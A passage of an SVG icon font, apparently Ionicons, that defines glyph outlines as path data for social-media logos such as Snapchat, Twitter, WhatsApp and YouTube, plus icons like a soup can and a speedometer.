M240 219c-21 0 -41 8 -56 23c-3 3 -3 9 0 12s9 3 12 0c12 -12 27 -19 44 -19c16 0 32 7 44 19c3 3 9 3 12 0s3 -9 0 -12c-15 -15 -35 -23 -56 -23zM176 296c0 16 5 24 16 24s16 -8 16 -24s-5 -24 -16 -24s-16 8 -16 24zM272 296c0 16 5 24 16 24s16 -8 16 -24
s-5 -24 -16 -24s-16 8 -16 24z" />
    <glyph glyph-name="ion-social-snapchat" unicode="&#xf4ec;" horiz-adv-x="480" 
d="M480 88c0 -2 0 -11 -6 -21c-5 -8 -16 -19 -38 -24c-6 -1 -11 -3 -15 -4c-2 -1 -5 -1 -7 -1v-1c-1 -7 -1 -13 -4 -18c-2 -5 -9 -12 -22 -12c-2 0 -6 0 -9 1c-2 0 -3 1 -5 1c-7 1 -15 2 -23 2c-10 0 -19 -2 -26 -6c-4 -3 -9 -7 -14 -10c-18 -13 -38 -27 -71 -27
s-53 14 -71 27c-5 3 -9 7 -14 10c-7 4 -15 6 -25 6c-8 0 -17 -1 -24 -2c-2 0 -3 -1 -5 -1c-3 -1 -7 -1 -9 -1c-13 0 -20 7 -22 12c-3 5 -3 11 -4 18v1c-2 0 -4 0 -6 1c-4 1 -10 3 -16 4c-22 5 -33 16 -38 24c-6 10 -6 18 -6 20v15l15 1c16 1 44 7 54 17c29 27 36 43 36 52
c0 1 0 2 -4 5c-5 3 -13 6 -20 8c-5 2 -10 3 -14 5c-9 4 -18 16 -17 29c1 15 14 27 30 27c4 0 8 0 12 -2c8 -3 13 -4 17 -5c-1 9 -2 19 -3 30c-5 38 5 74 29 102c25 29 64 45 105 45v0c41 0 80 -16 105 -45c24 -28 34 -63 29 -101c-1 -11 -2 -22 -3 -31c4 1 10 2 18 5
c4 1 8 2 12 2c16 0 29 -12 30 -27c1 -13 -9 -25 -18 -29c-4 -2 -9 -3 -14 -5c-7 -2 -14 -5 -19 -8c-4 -3 -5 -4 -5 -5c0 -16 20 -37 36 -52c11 -10 39 -16 54 -17l15 -1v-14zM192 320c-9 0 -16 -11 -16 -24s7 -24 16 -24s16 11 16 24s-7 24 -16 24zM296 242c3 3 3 9 0 12
s-9 3 -12 0c-12 -12 -28 -19 -44 -19c-17 0 -32 7 -44 19c-3 3 -9 3 -12 0s-3 -9 0 -12c15 -15 35 -23 56 -23s41 8 56 23zM288 272c9 0 16 11 16 24s-7 24 -16 24s-16 -11 -16 -24s7 -24 16 -24z" />
    <glyph glyph-name="ion-social-tumblr-outline" unicode="&#xf240;" horiz-adv-x="256" 
d="M193 52c21 0 42 6 63 20v-65c-18 -8 -34 -15 -48 -18s-28 -5 -45 -5c-19 0 -35 2 -50 7c-14 5 -28 12 -38 21s-17 18 -21 28s-6 25 -6 44v140h-48v58c16 5 30 14 42 24s19 21 26 35s11 37 14 59h62v-112h96v-64h-96v-101c0 -24 1 -40 4 -47c2 -7 7 -12 14 -16
c9 -6 19 -8 31 -8zM240 17v29c-15 -6 -31 -10 -47 -10c-15 0 -28 3 -40 10c-10 6 -17 15 -21 25c-2 6 -4 17 -4 52v117h96v32h-96v112h-32c-2 -16 -7 -36 -14 -50c-8 -16 -17 -29 -30 -40c-11 -9 -23 -17 -36 -23v-31h48v-156c0 -21 2 -32 4 -38c3 -8 10 -15 18 -22
c9 -8 19 -14 31 -18c13 -4 29 -6 46 -6c16 0 28 2 41 5c11 2 23 6 36 12z" />
    <glyph glyph-name="ion-social-tumblr" unicode="&#xf241;" horiz-adv-x="256" 
d="M193 52c21 0 42 6 63 20v-65c-18 -8 -34 -15 -48 -18s-28 -5 -45 -5c-19 0 -35 2 -50 7c-14 5 -28 12 -38 21s-17 18 -21 28s-6 25 -6 44v140h-48v58c16 5 30 14 42 24s19 21 26 35s11 37 14 59h62v-112h96v-64h-96v-101c0 -24 1 -40 4 -47c2 -7 7 -12 14 -16
c9 -6 19 -8 31 -8z" />
    <glyph glyph-name="ion-social-tux" unicode="&#xf2c5;" horiz-adv-x="383" 
d="M189 347c2 2 -1 -1 0 0c2 2 4 4 6 5c-3 -2 -5 -4 -7 -8c0 1 0 2 1 3zM361 52c7 -4 23 -11 21 -22c-2 -10 -17 -15 -24 -19c-15 -8 -28 -14 -41 -25c-9 -8 -17 -15 -29 -17c-11 -2 -25 -1 -33 8c-5 5 -7 11 -15 12c-25 5 -54 4 -79 0c-13 -2 -21 -11 -32 -17
c-10 -5 -20 -5 -30 -1c-13 5 -27 10 -41 13s-29 5 -43 9c-31 8 -5 30 -11 50c-3 12 -10 29 8 30c9 1 27 -1 31 11c2 7 -2 15 2 22s-1 17 1 25c4 18 19 32 25 49c5 14 8 25 18 37c9 11 22 22 29 34c10 18 9 35 8 55c-1 17 -1 33 -2 50c0 33 20 60 58 60h14
c38 0 63 -32 64 -69c0 -19 -5 -38 5 -67c15 -27 36 -48 52 -73c10 -16 16 -31 20 -49c3 -14 9 -31 7 -45c-1 -6 -2 -9 -4 -11c3 -1 7 -2 9 -5c3 -4 2 -11 0 -26c-1 -8 5 -15 12 -19zM137 -3c2 20 -15 39 -25 56c-10 16 -21 43 -39 52c-8 4 -19 5 -23 -5c-2 -7 0 -19 -2 -22
c-4 -9 -14 -10 -23 -11c-6 0 -17 0 -17 -8c1 -10 10 -20 7 -30c-2 -7 -8 -12 -8 -19c0 -14 38 -15 47 -17c19 -4 37 -14 57 -16c12 -1 25 7 26 20zM253 62c-2 10 2 -10 0 0s-5 28 1 35c4 5 10 6 17 5c0 4 1 9 3 12c8 13 29 8 39 0l-1 2c-3 4 -8 9 -13 10c0 0 4 12 2 34
c-4 40 -33 62 -33 62c27 -30 27 -58 27 -72c0 -6 -1 -18 -4 -24c-4 -1 -7 -2 -11 -4c-10 -5 -8 2 -8 10c0 18 -2 36 -7 54c-3 9 -7 17 -13 24c-4 5 -4 9 -5 15c-3 12 -9 22 -16 32c-7 9 -7 17 -5 28c1 7 2 14 -6 17c-6 2 -26 5 -27 14c-1 6 -1 16 5 20c16 14 30 -11 17 -24
c-3 -3 7 -4 8 -4c4 1 4 7 5 10c1 4 1 9 1 13c0 17 -18 32 -34 21c-6 -4 -9 -11 -10 -17c0 -2 -1 -20 0 -20c-4 0 -7 5 -11 5c-3 0 -7 0 -10 -1c0 0 2 14 -2 22c-4 9 -18 16 -24 4s-3 -25 0 -31s4 -6 4 -6c2 1 5 4 5 4s-6 3 -7 11c-1 9 3 14 7 15s10 -2 12 -8s0 -13 0 -13
c-7 -6 -30 -18 -22 -28c14 -18 33 -15 52 -9c8 3 18 5 24 12c3 3 11 2 8 -4c-2 -5 -18 -7 -22 -9c-9 -4 -18 -8 -28 -10c-6 -1 -13 -5 -28 9c7 -6 8 -16 17 -20c13 -6 33 9 44 15c1 1 16 5 14 0c-1 -4 -11 -7 -15 -9c-11 -6 -23 -21 -36 -22c-8 -1 -21 16 -25 22
c-1 1 -5 9 -6 4c-1 -8 2 -14 -3 -21c-6 -9 -11 -18 -13 -29c-1 -6 0 -11 -3 -16c-11 -15 -17 -33 -19 -51c0 -4 3 -43 -5 -41c-18 5 -17 33 -14 47c-3 -12 -8 -30 2 -44c12 -15 99 -55 53 -80c7 -14 14 -25 12 -41c8 7 2 20 -1 28c0 0 17 -12 38 -10c17 2 32 7 46 16
c6 4 11 9 16 14c1 2 4 6 6 7l1 -11c2 -17 -12 -27 -10 -34c4 8 11 14 13 24c3 12 0 24 -2 36zM155 323v0v-3c2 0 2 5 1 8c-1 4 -3 6 -4 6h-2c3 -2 5 -6 5 -11zM210 335c3 -2 0 0 0 0c3 -2 5 -5 5 -10v-3c2 0 3 4 2 7s-3 6 -5 6h-2zM347 15c24 11 -24 -10 0 0
c24 11 35 17 20 26c-17 10 -26 13 -26 29c0 5 4 16 2 22c-1 4 -6 5 -9 5c-10 -10 -17 -25 -34 -25c-14 0 -25 11 -28 24c-4 2 -10 1 -13 -4c-6 -12 1 -29 3 -41c2 -18 -4 -35 -2 -53c2 -21 26 -22 40 -13c16 10 29 22 47 30z" />
    <glyph glyph-name="ion-social-twitch-outline" unicode="&#xf4ed;" horiz-adv-x="416" 
d="M32 416h384v-272l-112 -112h-80l-64 -64h-64v64h-96v304zM368 160v208h-304v-272h80v-64l64 64h96zM272 176v129h48v-129h-48zM160 176v129h48v-129h-48z" />
    <glyph glyph-name="ion-social-twitch" unicode="&#xf4ee;" horiz-adv-x="416" 
d="M32 416h384v-272l-112 -112h-80l-64 -64h-64v64h-96v304zM208 176v129h-48v-129h48zM320 176v129h-48v-129h48z" />
    <glyph glyph-name="ion-social-twitter-outline" unicode="&#xf242;" horiz-adv-x="472" 
d="M472 338c-13 -20 -29 -36 -48 -50v-12c0 -128 -98 -276 -276 -276c-55 0 -105 16 -148 44c8 -1 15 -2 23 -2c45 0 87 16 120 42c-42 1 -78 29 -90 67c6 -1 12 -2 18 -2c9 0 18 2 26 4c-44 9 -78 48 -78 95v1c13 -7 28 -12 44 -12c-26 17 -43 47 -43 81c0 18 5 34 13 48
c48 -59 119 -97 199 -101c-2 7 -2 14 -2 22c0 54 43 97 97 97c28 0 52 -12 70 -31c22 4 43 13 62 24c-7 -23 -23 -42 -43 -54c20 2 39 7 56 15zM414 301c3 2 8 6 11 8c-2 0 -11 -2 -19 -1s-21 5 -21 5s14 13 18 17l11 11c-4 -1 -10 -2 -14 -3l-8 -2l-6 6
c-15 16 -37 26 -59 26c-45 0 -81 -37 -81 -81c0 -6 1 -12 2 -18l5 -21l-22 1c-42 2 -81 13 -118 32c-28 14 -53 34 -75 56c-1 -6 -2 -13 -2 -19c0 -27 14 -53 36 -68c0 0 33 -23 46 -29c-24 -2 -56 0 -56 0c-8 0 -16 1 -24 3c8 -28 32 -50 62 -56l61 -10l-61 -21
c-7 -2 -14 -3 -21 -3c15 -20 38 -34 64 -34l45 -1l-35 -28c-18 -14 -38 -25 -60 -33c-10 -3 -19 -6 -29 -8c27 -9 55 -14 84 -14c40 0 78 8 112 24c31 14 58 34 81 60c22 24 38 53 50 84c11 30 17 62 17 92v12l-1 8z" />
    <glyph glyph-name="ion-social-twitter" unicode="&#xf243;" horiz-adv-x="472" 
d="M472 338c-13 -20 -29 -36 -48 -50v-12c0 -128 -98 -276 -276 -276c-55 0 -105 16 -148 44c8 -1 15 -2 23 -2c45 0 87 16 120 42c-42 1 -78 29 -90 67c6 -1 12 -2 18 -2c9 0 18 2 26 4c-44 9 -78 48 -78 95v1c13 -7 28 -12 44 -12c-26 17 -43 47 -43 81c0 18 5 34 13 48
c48 -59 119 -97 199 -101c-2 7 -2 14 -2 22c0 54 43 97 97 97c28 0 52 -12 70 -31c22 4 43 13 62 24c-7 -23 -23 -42 -43 -54c20 2 39 7 56 15z" />
    <glyph glyph-name="ion-social-usd-outline" unicode="&#xf352;" horiz-adv-x="320" 
d="M125 345c11 2 19 3 19 3v-131l-22 6c-15 5 -27 11 -36 19c-12 10 -19 25 -19 43c0 13 4 24 11 33c6 8 13 14 22 19c7 4 17 6 25 8zM128 238v92c-7 -2 -15 -4 -21 -7c-7 -4 -12 -9 -17 -15s-7 -14 -7 -23c0 -13 4 -24 13 -31c8 -7 20 -12 32 -16zM252 151
c10 -10 15 -24 15 -42c0 -9 -1 -18 -5 -27s-11 -17 -20 -24c-8 -6 -18 -11 -31 -15c-6 -2 -11 -3 -17 -4s-18 -1 -18 -1v145l20 -5c10 -3 19 -6 28 -9c10 -4 20 -10 28 -18zM247 89c3 7 4 13 4 20c0 14 -3 24 -10 31s-15 11 -23 14s-16 5 -26 8v-107c6 1 10 2 14 3
c11 3 20 8 27 13s11 11 14 18zM315 145c3 -10 5 -19 5 -29c0 -21 -5 -38 -14 -53s-20 -26 -35 -35s-31 -17 -50 -21c-10 -2 -19 -3 -29 -4v-35h-64v35c-9 1 -19 4 -28 6c-20 5 -36 12 -51 23s-26 24 -35 41c-8 16 -13 34 -14 55h69c0 -12 2 -24 7 -33c5 -10 12 -17 21 -23
s20 -11 31 -14v120c-8 2 -18 4 -27 6c-17 4 -30 9 -41 16s-20 15 -27 23s-11 17 -14 26s-4 18 -4 28c0 18 4 34 12 48s19 25 33 34s29 16 46 20c7 2 15 3 22 4v33h64v-33c9 -1 16 -4 24 -6c18 -5 34 -12 48 -22s25 -22 33 -37c7 -13 11 -28 12 -46h-69c-3 21 -12 37 -26 46
c-7 4 -13 8 -22 10v-106c9 -2 16 -4 25 -6c12 -3 22 -6 27 -7c13 -4 23 -9 33 -15c10 -7 18 -14 24 -22s11 -17 14 -27zM293 72c7 12 11 27 11 44c0 8 -1 16 -4 24s-7 15 -12 22s-12 13 -20 19c-8 5 -18 10 -29 13c-5 1 -13 3 -24 6h-1l-4 1c-7 2 -13 4 -21 6l-13 3v137
s9 -1 19 -4s19 -6 28 -12c15 -9 25 -24 30 -43h38c-2 8 -4 15 -8 22c-7 13 -16 24 -28 32c-12 9 -27 16 -43 20c-8 2 -16 4 -23 5l-13 2v31h-32v-31l-14 -2c-7 -1 -14 -2 -20 -4c-15 -4 -29 -10 -41 -18s-21 -16 -28 -28c-7 -11 -10 -24 -10 -40c0 -8 1 -15 3 -23
c2 -7 6 -14 11 -21s14 -13 23 -19c10 -6 22 -10 37 -14v0v0c4 -1 8 -2 11 -3c5 -1 11 -3 16 -4l12 -3v-151s-8 1 -20 4s-26 8 -36 15c-11 8 -20 18 -26 30c-4 7 -6 16 -8 24h-36c2 -11 5 -23 10 -32c8 -14 17 -26 30 -35c13 -10 28 -16 46 -21c8 -2 17 -4 26 -5l14 -2v-33
h32v33l15 1c9 1 17 3 26 5c17 4 32 10 45 18s23 19 31 31z" />
    <glyph glyph-name="ion-social-usd" unicode="&#xf353;" horiz-adv-x="320" 
d="M315 145c3 -10 5 -19 5 -29c0 -21 -5 -38 -14 -53s-20 -26 -35 -35s-31 -17 -50 -21c-10 -2 -19 -3 -29 -4v-35h-64v35c-9 1 -19 4 -28 6c-20 5 -36 12 -51 23s-26 24 -35 41c-8 16 -13 34 -14 55h69c0 -12 2 -24 7 -33c5 -10 12 -17 21 -23s20 -11 31 -14v120
c-8 2 -18 4 -27 6c-17 4 -30 9 -41 16s-20 15 -27 23s-11 17 -14 26s-4 18 -4 28c0 18 4 34 12 48s19 25 33 34s29 16 46 20c7 2 15 3 22 4v33h64v-33c9 -1 16 -4 24 -6c18 -5 34 -12 48 -22s25 -22 33 -37c7 -13 11 -28 12 -46h-69c-3 21 -12 37 -26 46c-7 4 -13 8 -22 10
v-106c9 -2 16 -4 25 -6c12 -3 22 -6 27 -7c13 -4 23 -9 33 -15c10 -7 18 -14 24 -22s11 -17 14 -27zM128 238v92c-7 -2 -15 -4 -21 -7c-7 -4 -12 -9 -17 -15s-7 -14 -7 -23c0 -13 4 -24 13 -31c8 -7 20 -12 32 -16zM247 89c3 7 4 13 4 20c0 14 -3 24 -10 31s-15 11 -23 14
s-16 5 -26 8v-107c6 1 10 2 14 3c11 3 20 8 27 13s11 11 14 18z" />
    <glyph glyph-name="ion-social-vimeo-outline" unicode="&#xf244;" 
d="M445 334c7 -33 1 -66 -13 -97s-31 -59 -51 -87c-26 -36 -52 -71 -85 -101c-19 -18 -41 -35 -66 -44c-10 -4 -19 -5 -27 -5c-17 0 -31 9 -44 27c-14 19 -22 40 -28 63c-12 45 -25 90 -38 134c-4 12 -9 22 -15 33c-3 5 -8 10 -12 14c-2 2 -5 3 -8 3s-6 -1 -9 -3
c-10 -6 -28 -18 -28 -18l-21 27c26 24 82 71 82 71c11 9 33 25 48 27h8c18 0 32 -7 42 -22c11 -17 15 -37 18 -57c7 -41 12 -82 24 -122c3 -10 7 -20 12 -29c4 -7 9 -10 14 -10c4 0 7 2 11 5s7 6 10 10c20 24 37 52 48 81c3 9 3 17 3 27c0 13 -10 25 -25 26h-7
c-11 0 -20 -2 -32 -7c6 24 24 62 54 84c20 14 45 20 67 20c10 0 20 -2 27 -4c23 -8 36 -23 41 -46zM418 244c13 30 17 59 11 87c-4 19 -13 28 -30 34c-6 2 -14 3 -22 3c-21 0 -42 -6 -57 -17c-16 -12 -29 -30 -38 -48h6h8c23 -1 39 -19 40 -41c0 -10 0 -22 -4 -34
c-11 -29 -29 -58 -51 -85c-4 -4 -7 -9 -12 -13c-7 -6 -15 -8 -22 -8c-8 0 -18 3 -27 18c-7 11 -11 22 -14 32c-10 31 -14 64 -19 95c-2 10 -3 19 -5 29c-3 17 -6 36 -16 51c-7 10 -16 15 -28 15h-6c-8 -1 -25 -11 -40 -23c-2 -2 -43 -37 -70 -61l2 -3c5 4 12 7 16 10
c6 3 12 5 18 5c7 0 13 -3 18 -7c8 -7 13 -12 16 -18c6 -11 12 -24 16 -37c13 -44 26 -88 38 -133c5 -19 13 -41 26 -59s23 -20 31 -20c6 0 13 1 21 4c23 8 43 25 61 41c32 29 57 63 83 99v0c21 28 37 55 50 84z" />
    <glyph glyph-name="ion-social-vimeo" unicode="&#xf245;" 
d="M445 334c7 -33 1 -66 -13 -97s-31 -59 -51 -87c-26 -36 -52 -71 -85 -101c-19 -18 -41 -35 -66 -44c-31 -11 -52 -5 -71 22c-14 19 -22 40 -28 63c-12 45 -25 90 -38 134c-4 12 -9 22 -15 33c-3 5 -8 10 -12 14c-5 4 -11 3 -17 0c-10 -6 -28 -18 -28 -18l-21 27
c26 24 82 71 82 71c11 9 33 25 48 27c21 3 38 -4 50 -22c11 -17 15 -37 18 -57c7 -41 11 -82 23 -122c3 -10 8 -20 13 -29c7 -11 15 -13 25 -5c4 3 7 6 10 10c20 24 37 52 48 81c3 9 3 17 3 27c0 13 -10 25 -25 26s-24 -1 -39 -7c6 24 24 62 54 84c29 21 71 24 94 16
s36 -23 41 -46z" />
    <glyph glyph-name="ion-social-whatsapp-outline" unicode="&#xf4ef;" 
d="M178 294c4 -11 15 -39 16 -42s2 -6 0 -10s-3 -6 -6 -9s-6 -7 -9 -9c-3 -3 -6 -6 -3 -12s14 -24 30 -39c21 -20 38 -27 44 -30s9 -3 12 1s15 16 19 21s8 5 13 3s31 -17 37 -20s10 -5 11 -7s0 -13 -5 -26s-28 -24 -38 -25s-11 -8 -67 16s-90 84 -93 88s-22 31 -21 58
s17 41 22 46s11 7 15 7h10s9 0 13 -11zM228 384c-50 0 -97 -20 -133 -55c-35 -35 -55 -81 -55 -131c0 -34 9 -67 27 -96l8 -13l-5 -14l-19 -57l61 19l13 4l12 -6c28 -15 59 -23 91 -23c50 0 97 19 133 54c35 35 55 82 55 132s-20 96 -55 131c-36 35 -83 55 -133 55zM228 416
v0c121 0 220 -97 220 -218s-99 -218 -220 -218c-39 0 -74 10 -106 27l-122 -39l40 117c-20 33 -32 72 -32 113c0 121 99 218 220 218z" />
    <glyph glyph-name="ion-social-whatsapp" unicode="&#xf4f0;" 
d="M228 416c121 0 220 -97 220 -218s-99 -218 -220 -218c-39 0 -74 10 -106 27l-122 -39l40 117c-20 33 -32 72 -32 113c0 121 99 218 220 218zM337 115c5 13 6 24 5 26s-5 4 -11 7s-32 18 -37 20s-9 2 -13 -3s-16 -17 -19 -21s-6 -4 -12 -1s-23 10 -44 30
c-16 15 -27 33 -30 39s0 9 3 12c3 2 6 6 9 9s4 5 6 9s1 7 0 10s-12 31 -16 42s-10 11 -13 11h-10s-10 -2 -15 -7s-21 -19 -22 -46s18 -54 21 -58s37 -64 93 -88s57 -17 67 -16s33 12 38 25z" />
    <glyph glyph-name="ion-social-windows-outline" unicode="&#xf246;" 
d="M432 167h-216v-149l216 -32v181zM448 183v0v-215l-248 36v179h248zM168 167h-152v-120l152 -22v142zM184 183v0v-177l-184 27v150h184zM432 398v0l-216 -31v-152h216v183zM448 416v0v-217h-248v182zM168 360v0l-152 -22v-123h152v145zM184 378v0v-179h-184v153z" />
    <glyph glyph-name="ion-social-windows" unicode="&#xf247;" 
d="M448 183v0v-215l-248 36v179h248zM184 183v0v-177l-184 27v150h184zM448 416v0v-217h-248v182zM184 378v0v-179h-184v153z" />
    <glyph glyph-name="ion-social-wordpress-outline" unicode="&#xf248;" horiz-adv-x="384" 
d="M192 384c106 0 192 -86 192 -192c0 -9 -1 -18 -2 -26c-12 -85 -79 -153 -165 -164c-8 -1 -17 -2 -25 -2c-106 0 -192 86 -192 192s86 192 192 192zM19 192c0 -68 40 -127 98 -155l-83 225c-10 -21 -15 -45 -15 -70zM214 21c12 2 24 4 35 8c0 1 -1 2 -1 3l-53 145l-33 -96
v0l-19 -55c15 -5 32 -7 49 -7c8 0 15 1 22 2zM216 273l62 -186l17 58c9 22 13 41 13 56c0 21 -7 35 -14 47c-9 14 -17 27 -17 41c0 16 12 30 29 30h2c-31 28 -71 45 -116 45c-60 0 -113 -30 -144 -77c4 0 8 -1 11 -1c18 0 46 3 46 3c9 1 10 -14 1 -15c0 0 -10 -1 -20 -1
l63 -187l38 113l-27 74c-9 0 -18 1 -18 1c-9 0 -8 16 1 15c0 0 28 -3 45 -3c18 0 46 3 46 3c9 1 11 -14 2 -15c0 0 -10 -1 -20 -1zM279 43c45 26 77 71 84 125c1 8 2 16 2 24c0 30 -8 58 -22 83c1 -6 1 -12 1 -18c0 -18 -3 -37 -13 -62l-39 -113z" />
    <glyph glyph-name="ion-social-wordpress" unicode="&#xf249;" horiz-adv-x="384" 
d="M195 177l53 -146c0 -1 6 -13 9 -19c-3 -1 -5 -2 -8 -3v0c-10 -3 -21 -6 -32 -7c-8 -1 -17 -2 -25 -2c-17 0 -34 2 -50 6v0c-2 0 -3 2 -5 2l25 73v0zM17 268c6 0 7 -1 15 -1l93 -255c-3 1 -5 2 -8 3c-63 27 -109 87 -116 158c-1 6 -1 13 -1 19c0 25 7 53 17 76zM366 273
c11 -24 18 -52 18 -81c0 -9 -1 -18 -2 -26c-9 -65 -50 -120 -107 -147c-2 -1 -3 -1 -5 -2l22 65l39 113c10 25 13 45 13 62v19v0c-1 18 -10 44 -36 43h-2c-17 0 -29 -14 -29 -30c0 -14 8 -27 17 -41c7 -12 14 -26 14 -47c0 -15 -4 -34 -13 -56l-17 -58l-62 186
c10 0 20 1 20 1c9 1 7 16 -2 15c0 0 -28 -3 -46 -3c-17 0 -45 3 -45 3c-9 1 -10 -15 -1 -15c0 0 9 -1 18 -1l27 -74l-38 -113l-63 187c10 0 20 2 20 2c9 1 8 15 -1 14c0 0 -28 -2 -46 -2h-34c5 9 11 17 17 25c35 44 90 72 150 72c24 0 48 -5 69 -13c34 -13 63 -36 85 -65
c2 -2 3 -5 5 -7c6 -8 11 -17 15 -26z" />
    <glyph glyph-name="ion-social-yahoo-outline" unicode="&#xf24a;" horiz-adv-x="320" 
d="M289 380c11 0 21 1 31 4l-128 -213v-171c-10 4 -21 4 -32 4s-22 0 -32 -4v171l-128 213c10 -4 21 -4 32 -4s22 0 32 4l96 -160l96 160c10 -4 22 -4 33 -4zM178 180l111 184h-1c-7 0 -15 0 -24 2l-90 -150l-14 -23l-14 23l-89 150c-9 -2 -17 -2 -25 -2h-1l111 -184l2 -4
v-5v-151c6 1 11 0 16 0s11 1 16 0v151v5z" />
    <glyph glyph-name="ion-social-yahoo" unicode="&#xf24b;" horiz-adv-x="320" 
d="M289 380c11 0 21 1 31 4l-128 -213v-171c-10 4 -21 4 -32 4s-22 0 -32 -4v171l-128 213c10 -4 21 -4 32 -4s22 0 32 4l96 -160l96 160c10 -4 22 -4 33 -4z" />
    <glyph glyph-name="ion-social-yen-outline" unicode="&#xf4f1;" horiz-adv-x="384" 
d="M384 416l-112 -208h48v-48h-73l-15 -31v-17h88v-48h-88v-96h-80v96h-88v48h88v17l-14 31h-74v48h48l-112 208h80l112 -221l112 221h80zM304 192h-59l13 24l99 184v0h-43l-122 -240l-122 240h-43l99 -184l13 -24h-59v-16h68l20 -44v-36h-88v-16h88v-96h48v96h88v16h-88v37
l21 43h67v16z" />
    <glyph glyph-name="ion-social-yen" unicode="&#xf4f2;" horiz-adv-x="384" 
d="M384 416l-112 -208h48v-48h-73l-15 -31v-17h88v-48h-88v-96h-80v96h-88v48h88v17l-14 31h-74v48h48l-112 208h80l112 -221l112 221h80z" />
    <glyph glyph-name="ion-social-youtube-outline" unicode="&#xf24c;" horiz-adv-x="512" 
d="M265 352v0h-9h-9c-65 0 -118 -2 -168 -4h-1h-1c-23 0 -42 -22 -42 -49v-1v-1c-2 -34 -3 -70 -3 -105v0v0c0 -35 1 -70 3 -104v-2v-1c0 -14 5 -26 14 -36c8 -9 17 -13 28 -13h1h1c52 -2 108 -4 166 -4h11v0v0h11c58 0 113 2 166 4h1h1c11 0 20 4 28 13c9 10 14 22 14 36v1
v2c2 34 3 68 3 104v0v0c0 36 -1 71 -3 105v1v2c0 27 -19 49 -42 49h-1h-1c-49 2 -103 3 -168 3zM265 384v0c58 0 115 0 170 -3c41 0 74 -36 74 -81c2 -36 3 -72 3 -108s-1 -71 -3 -107c0 -45 -33 -81 -74 -81c-55 -3 -111 -4 -168 -4h-11h-11c-57 0 -113 1 -168 4
c-41 0 -74 36 -74 81c-2 36 -3 71 -3 107s2 71 4 107c0 45 32 82 73 82c55 2 112 3 170 3h9h9zM207 94v197l145 -99z" />
    <glyph glyph-name="ion-social-youtube" unicode="&#xf24d;" horiz-adv-x="512" 
d="M509 299c2 -36 3 -71 3 -107s-1 -71 -3 -107c0 -45 -33 -81 -74 -81c-58 -3 -118 -4 -179 -4s-121 1 -179 4c-41 0 -74 36 -74 81c-2 36 -3 71 -3 107s2 71 4 107c0 45 32 81 73 81c55 3 112 4 170 4h9h9c58 0 115 -1 170 -4c41 0 74 -36 74 -81zM207 94l145 98l-145 99
v-197z" />
    <glyph glyph-name="ion-soup-can-outline" unicode="&#xf4f3;" horiz-adv-x="320" 
d="M160 304c-88 0 -160 29 -160 64s72 64 160 64s160 -29 160 -64s-72 -64 -160 -64zM160 415c-70 0 -126 -19 -126 -43s56 -43 126 -43s126 19 126 43s-56 43 -126 43zM161 288c88 0 158 29 159 64c0 -5 0 -33 -8 -40v-240c0 -35 -64 -64 -152 -64s-152 29 -152 64v240
c-8 6 -8 40 -8 40c0 -35 73 -64 161 -64zM280 72v80c-18 -10 -43 -17 -72 -21h-2c-6 -20 -24 -35 -46 -35s-40 15 -46 35h-2c-29 4 -54 11 -72 21v-80c1 -2 9 -10 30 -18c24 -9 55 -14 90 -14s67 5 91 14c21 8 29 16 29 18zM280 184v91c-33 -12 -75 -19 -119 -19
c-45 0 -87 7 -121 19v-91c18 -10 43 -17 73 -21h3c7 17 24 29 44 29s37 -12 44 -29h3c30 4 55 11 73 21zM178 -16zM160 -16h1h-1v0zM312 32l8 -16c0 -7 -3 -14 -8 -20c-21 -26 -81 -44 -152 -44s-131 18 -152 44c-5 6 -8 13 -8 20l8 16v16c0 -35 63 -64 152 -64
s152 28 152 64v-16z" />
    <glyph glyph-name="ion-soup-can" unicode="&#xf4f4;" horiz-adv-x="320" 
d="M0 368c0 43 53 64 160 64s160 -21 160 -64s-53 -64 -160 -64s-160 21 -160 64zM160 8c-44 0 -80 6 -109 18s-43 28 -43 46v128c0 -9 4 -19 13 -27s21 -15 37 -21s33 -10 54 -13c1 -12 7 -23 16 -31s20 -12 32 -12s23 4 32 12s15 19 16 31c31 4 56 12 75 23s29 24 29 38
v-128c0 -18 -14 -34 -43 -46s-65 -18 -109 -18zM160 288c44 0 82 6 113 18s47 28 47 46v-8c0 -5 -1 -11 -2 -18s-3 -11 -6 -14v-96c0 -14 -10 -27 -29 -38s-44 -19 -76 -23c-2 11 -8 19 -17 26s-19 11 -30 11s-21 -4 -30 -11s-15 -15 -17 -26c-32 4 -57 12 -76 23
s-29 24 -29 38v96c-5 5 -8 18 -8 40c0 -18 16 -34 47 -46s69 -18 113 -18zM312 56v-24l8 -16c0 -7 -3 -14 -8 -20c-11 -13 -30 -24 -58 -32s-59 -12 -94 -12s-66 4 -94 12s-47 19 -58 32c-5 6 -8 13 -8 20l8 16v24c0 -18 14 -34 43 -46s65 -18 109 -18s80 6 109 18
s43 28 43 46z" />
    <glyph glyph-name="ion-speakerphone" unicode="&#xf2b2;" 
d="M39 266c0 -37 20 -69 50 -86c-1 0 -2 1 -3 1s-4 1 -5 1v0c-35 3 -62 33 -69 69c-6 0 -12 7 -12 16c0 8 5 15 11 16c6 42 40 75 81 75h8c-36 -15 -61 -51 -61 -92zM433 357c10 -25 15 -56 15 -88s-5 -63 -15 -88l-3 -9c-6 -14 -15 -26 -24 -34c-10 -10 -22 -19 -34 -20h-3
c-7 0 -15 2 -22 5c-3 2 -10 5 -10 5c-22 10 -84 28 -115 29c-4 -8 -10 -20 -12 -30c-2 -9 -6 -27 -7 -61c-1 -32 1 -59 3 -82c0 -2 1 -5 1 -7c0 -6 -2 -9 -9 -9h-77c-6 0 -9 3 -9 6v7c2 72 25 140 26 145c2 9 5 17 7 30c2 12 -27 13 -40 24c-29 17 -47 49 -47 86
c0 41 25 77 59 92h42h19c58 3 114 21 163 50c1 1 3 1 4 2v0c8 4 16 6 24 6c13 0 26 -6 37 -16c9 -9 18 -21 24 -35c1 -3 2 -5 3 -8zM410 180c9 22 15 54 15 89s-6 66 -15 88c-8 18 -19 29 -30 29s-21 -11 -29 -29c-9 -22 -15 -53 -15 -88s6 -67 15 -89c8 -19 18 -33 29 -33
s22 15 30 33z" />
    <glyph glyph-name="ion-speedometer" unicode="&#xf2b3;" 
d="M312 192l8 -8l-64 -84v-4c0 -18 -14 -32 -32 -32s-32 14 -32 32s14 32 32 32h4zM224 352c124 0 224 -100 224 -224c0 -34 -8 -67 -22 -96h-36c15 27 25 57 26 88h-32v16h32c-1 29 -9 56 -22 81l-27 -15l-8 13l27 16c-8 12 -16 23 -26 33s-21 18 -33 26l-16 -27l-14 8
